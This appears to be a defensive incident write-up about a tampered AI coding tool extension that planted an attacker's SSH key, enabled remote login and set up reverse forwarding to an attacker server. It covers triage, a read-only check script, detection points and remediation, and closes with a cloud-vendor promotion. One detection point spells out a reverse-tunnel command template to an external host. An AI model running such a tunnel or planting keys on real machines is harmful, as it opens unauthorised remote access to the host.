An AI Coding Tool Extension Was Poisoned: Dissecting a Credential-Planting Attack Chain

1. Event Overview: One “Extension Update,” One Lasting Key

In late October 2026, two tampered versions of an extension were discovered being distributed through an AI coding tool’s extension marketplace. The incident was publicly disclosed around October 29, and the vendor confirmed that mainstream desktop operating systems were primarily affected. From the distribution channel to installation on the endpoint, the chain relied almost entirely on routine developer habits: update an extension, reload the development environment.

Execution is just as stealthy: the malicious logic runs when the extension module is loaded, with no extra click or authorization from the developer. Once it runs, the malicious code works through these steps in order on the target host:

1. Write the attacker’s public key to the current user’s remote login authorization file.
2. Enable the system’s remote login service.
3. Open reverse forwarding that “maps” the target machine’s login port to an attacker-controlled server.
4. Drop scripts, key files, and startup items outside the extension’s installation directory.

The most important misconception to correct: Removing the malicious package, uninstalling the extension, and shutting down the attack server used at the time cannot replace cleaning the target host. The first two cut off only the delivery stage. The third closes off only the attacker’s temporary landing spot. As long as the authorization record and startup items remain on the host, the way in can still be open.

2. Attack Paradigm: Turning “Execution Rights” into “Login Rights”

2.1 The essence of the paradigm

What matters in this incident is not how sophisticated the backdoor is, but a shift in the attack target. The attacker is not trying to hide persistent malicious code on the target machine. Instead, the attacker leaves behind a login permission that only they can use.

More precisely, the target host stores a record that says “this public key is allowed to log in,” while the attacker holds the matching private key. This creates a clear division of roles:

• Initial code: Creates that authorization state by writing the public key, enabling the service, and opening the network path.
• The system’s legitimate remote login service: Handles authentication and session execution from then on.

The initial payload runs only once, but the entry point can be used again and again and can exist independently of the original extension. However, “independent of the original extension” does not mean “valid forever.” Whether the entry point is still usable depends on the following conditions:

Dependency	What determines whether the entry point still works
Service	Whether the remote login service is running
Privileges	Whether the authorization file is intact and the service runs with sufficient privileges
Network path	Whether the target sits behind a protected network and can open an outbound connection for the reverse forwarding
Authentication policy	Whether key authentication is allowed, and whether forwarding, source addresses, or allowed users are restricted

2.2 How it differs from neighboring paradigms

First, this is not a “configuration-only, no code” attack. The complete access chain does consist of configuration objects: an authorized public key, service configuration, and a startup item. However, the attacker did not deliver these configurations directly. Substantive malicious code in the extension created them. The configuration is the product, and the code is the starting point. Cleaning up only the configuration leaves behind the ability to recreate it.

Second, this is not a true fileless attack. The attack downloaded no additional malicious executable. Even so, it dropped scripts, key files, and startup items, which left clear evidence on disk. “No malicious program downloaded” does not mean “nothing written to disk,” nor does it mean “no further interaction.”

What truly sets this attack apart is that its capabilities are spread out. The access capability is broken up across an authorization file, a legitimate service, reverse forwarding, and a startup script. There is no need for a dedicated remote-control server to carry all of the functionality. This design has two consequences:

• There is no single obvious malicious process on the host to look for.
• Even if the attack server is taken offline and the entry point stops working, the leftover authorization record and startup items can become a foothold for the next attack.

Component	Attack capability it carries	Consequence of removing it
Authorized public key file	Authentication credential	The key can no longer be used to log in and must be planted again
System remote login service	Authentication and session execution	It must be re-enabled or the channel replaced
Reverse forwarding	A network path to the target	A new outbound connection must be established
Startup items and scripts	Recovery capability	The attacker must regain an execution entry point

2.3 Why AI developers are priority targets

Focusing the attack on users of AI coding tools is based on three practical considerations:

• The endpoint is a credential repository. A developer machine routinely stores remote login keys, code repository access tokens, cloud access credentials, and secrets in environment variables.
• Extensions carry inherently high trust. AI coding extensions are usually installed and auto-updated in a state of trust, and their changes are rarely reviewed item by item.
• The attack reaches beyond the local machine. A developer account typically also has access to code repositories, CI environments, artifact repositories, and cloud consoles. Once a single endpoint is compromised, the impact can spread upstream along the toolchain.

3. Related Research: A Credential-Planting Trend That Predates Large Language Models

Looking through public cases shows that planting accounts or keys into systems long predates the era of large language models:

Time	Type of public case	Commonality with this incident
1998	A trojan, run because a user was tricked into it, wrote a system account	Using a legitimate account to carry later access
2013	A tampered plugin for an open-source content management system	Distributed through the plugin marketplace, writing an administrator backdoor account
Around 2020	Planting-type backdoors delivered through search ads	Writing authorized public keys and reaching developer endpoints
2024–2025	Several batches of malicious packages in open-source package registries	Stealing keys and credentials through development dependencies
2026	Poisoning of AI developer tools and model service configuration tools	Bringing the “write the authorization, then authenticate through a legitimate service” combination into the AI toolchain

These cases show a clear pattern of evolution. The distribution channel has moved forward from “bait files” and “ad landing pages” into developer tool ecosystems. At the same time, the target has narrowed from “an account that is exposed at a glance” to “a key authorization that blends into a legitimate service.”

The limits of the evidence need to be made clear. Public material is enough to justify treating this kind of technique as an attack paradigm worth defending against in AI software toolchains. However, it is not enough to measure how quickly the technique is spreading. Nor is it enough to claim that such attacks were genuinely rare in the early years.

4. Five-Stage Triage: Distinguishing What Occurred from What Actually Happened

When investigating incidents like this one, the most common mistake is drawing a final conclusion from a single piece of evidence. Seeing a version number, a comment field in a public key, a process, or a script’s exit code leads to declaring “already compromised” or “not affected.” A more reliable approach is to break the attack chain into stages and collect evidence one stage at a time:

Stage	Core question	Key evidence	What it shows	What it cannot prove
① Malicious version installed	Which version was installed?	Extension install directory, extension manifest, package manager install records	The payload reached the host	Whether the code was ever loaded and run
② Code execution	Did the code run when the module loaded?	Developer tool runtime logs, extension host process records, temporary files, command history	The later steps may have happened	Which steps actually completed
③ Authorization landed	Was an unknown public key written to the authorization file?	Contents, change time, and permission bits of the authorized keys file; remote login service configuration	The entry point was opened	Whether it was ever used
④ Forwarding established	Is there forwarding that points outward?	Remote client configuration, forwarding processes, listening ports, outbound connection records	A path was or may have been established	Whether the connection succeeded in reaching the attacker
⑤ Attacker login	Is there a real login session?	Server-side authentication logs, session records, unknown source addresses during unusual hours	Access did occur	Attribution, and the scope of the impact

Key assessment principles: A version number only shows that the host may be affected. An attacker can forge a public key’s comment field at will, so it has no evidentiary value. A forwarding process only shows that a path may have been established. A normal script exit code only shows that this step did not report an error.

#!/usr/bin/env bash
# Example: credential-planting triage skeleton for Linux/macOS (illustrative only; adjust paths for your environment)
KEY_DIR="$HOME/.ssh"
AUTH_FILE="$KEY_DIR/authorized_keys"
EXT_DIR="$HOME/.ext-plugins"   # example extension install root
echo "== 1. Authorized keys file fingerprint and change time =="
if [ -f "$AUTH_FILE" ]; then
    sha256sum "$AUTH_FILE"
    stat -f 'Modified: %Sm  Mode: %Sp' "$AUTH_FILE" 2>/dev/null \
      || stat -c 'Modified: %y  Mode: %A' "$AUTH_FILE"
    awk '{print NR") type: "$1"  comment: "$3}' "$AUTH_FILE"
fi
echo "== 2. Other key sources that can be loaded (check beyond the main authorized keys file) =="
find "$HOME" -maxdepth 4 \( -name "authorized_keys*" -o -name "*.pem" \) \
     -newermt "2026-10-01" -print 2>/dev/null
echo "== 3. Local listening ports (focus on the remote login port on 127.0.0.1) =="
(ss -tlnp 2>/dev/null || netstat -tlnp 2>/dev/null) | grep -Ei 'sshd|:22\b'
echo "== 4. Executable scripts added in the last 30 days, outside the extension directory =="
find "$HOME" -path "$EXT_DIR" -prune -o -type f \
     \( -name "*.sh" -o -name "*.py" \) -newermt "30 days ago" -print 2>/dev/null \
  | head -n 50

Run the script in read-only mode and archive the results completely. Do not modify any evidence file during the investigation.

5. Detection Points: The More “Legitimate” the Component, the Closer the Look at Its Configuration

This paradigm hides its actions inside legitimate components, so detection should shift from “hunting for malicious files” to “checking whether configurations match what is expected”:

• Remote login service configuration
  • Has it been changed from the default disabled state to start at boot?
  • Has forwarding been enabled?
  • Have source restrictions or authentication methods been loosened?
• Remote client configuration and network state
  • Is there reverse forwarding configuration (equivalent to ssh -N -R <remote bind address>:<remote port>22 <external host>)?
  • Is a forwarding process running persistently?
  • Do outbound connection records show unfamiliar hosts?
• Startup and self-recovery mechanisms: Suspicious entries in user-level daemons, cron jobs, scheduled tasks, login items, and shell startup scripts.
• Timeline correlation: Do the change times of the authorization file, service configuration, and startup items overlap with the extension installation window or the extension host process start time?

6. Remediation and Recovery: Restoring Trust on Four Fronts at Once

The core principle of remediation is to restore trust on all four fronts at the same time: the software source, identity authorization, the remote path, and the startup state. If any one of them is left unconfirmed, the attacker can regain access.

Dimension	Recovery goal	Key actions
Trusted software source	The tampered extension no longer runs on the machine	Uninstall the affected versions, install a confirmed patched version, verify the installation source, and check for other extensions installed around the same time and any configuration changes
Trusted identity authorization	Only approved keys can log in	Remove unknown public keys and any additional key files that were loaded from the authorization file, review the remote service configuration, and rotate local keys and upstream and downstream access credentials
Trusted remote path	There is no unauthorized path to reach the machine remotely	Stop and remove abnormal forwarding, check forwarding processes and listening ports, review outbound connection records on the network side, and tighten outbound policies if necessary
Trusted startup state	Nothing reactivates after a reboot	Check user-level, system-level, and task-level startup items one by one, and verify that the removals hold up through a reboot

Two additional points:

1. Credential rotation must extend beyond the extension. On a developer account, access tokens for code repositories, CI, artifact repositories, and cloud consoles may have been exposed along with the endpoint. Evaluate whether each needs to be rotated, based on the scope of the impact.
2. Finishing the investigation does not mean the cleanup is finished. Default remote login service settings vary by Linux distribution, so record the original configuration before making changes. After cleanup, watch the authentication logs for a while to confirm that no new login attempts occur.

Organizations also need one more element: change review. Every extension version upgrade automatically introduces new execution code, so it should be clear which extensions and which versions are allowed to be installed. Pay particular attention to the first run after an auto-update.

7. Protection Practices for AI Developers

7.1 Individual developers

1. Keep extensions to a minimum and versions traceable. Install only the extensions you truly need. Follow security advisories. For critical extensions, keep a known-good version so you can roll back quickly.
2. Configure remote login with least privilege:
   • Use key authentication only.
   • Set a passphrase on each key.
   • Restrict private key files so only the owner can read and write them (e.g., chmod 600).
   • Use different keys for different purposes, so one key does not open every host.
3. Discover issues actively on the host. Regularly compare content fingerprints of the authorized keys file and watch for new entries. Create baselines for sensitive configuration directories and set up alerts on changes.
4. Keep records on the network side. Log outbound connections and local listening ports, and be wary of any remote login port whose origin you cannot explain.

7.2 Teams and enterprises

1. Endpoint side: Deploy endpoint detection and response (EDR) capabilities. They should cover changes to authorization files, enabling of the remote service, forwarding processes, and modifications to startup items.
2. Logging side: Use a log service to collect extension installation records, host login records, and outbound network connection records in one place. Use monitoring and alerting to detect abnormal combinations in real time.
3. Key side: Use a key management service to hold team keys centrally, reducing the number of private keys scattered across individual endpoints.
4. Process side: Enforce least-privilege tokens and regular rotation in code repositories, CI, and artifact repositories.

On Baidu AI Cloud, general-purpose capabilities such as log services, monitoring and alerting, a key management service, a container platform, and security products can each take on a role. Together, they cover log collection and analysis, triggering alerts, central key management, isolating build environments, and detecting issues on endpoints. They can be combined into an end-to-end response chain from detection to recovery.

8. Conclusion

Credential-planting supply chain poisoning is worth watching because it shifts the focus of attack from “running malicious code” to “obtaining a legitimate identity.” The extension handles delivery, the code creates the authorization, and the system service handles authentication and sessions. All the attacker needs to keep is a private key.

In the face of incidents like this, base your assessment on staged evidence collection and timeline correlation, not on a single piece of information such as a version number, a comment, or an exit code. Likewise, base your remediation on whether trust has been restored on all four fronts at once, not on whether the extension has been uninstalled. For AI developers, extensions, keys, and network paths are both sources of efficiency and the targets attackers value most. They deserve to be scrutinized and managed at the highest level.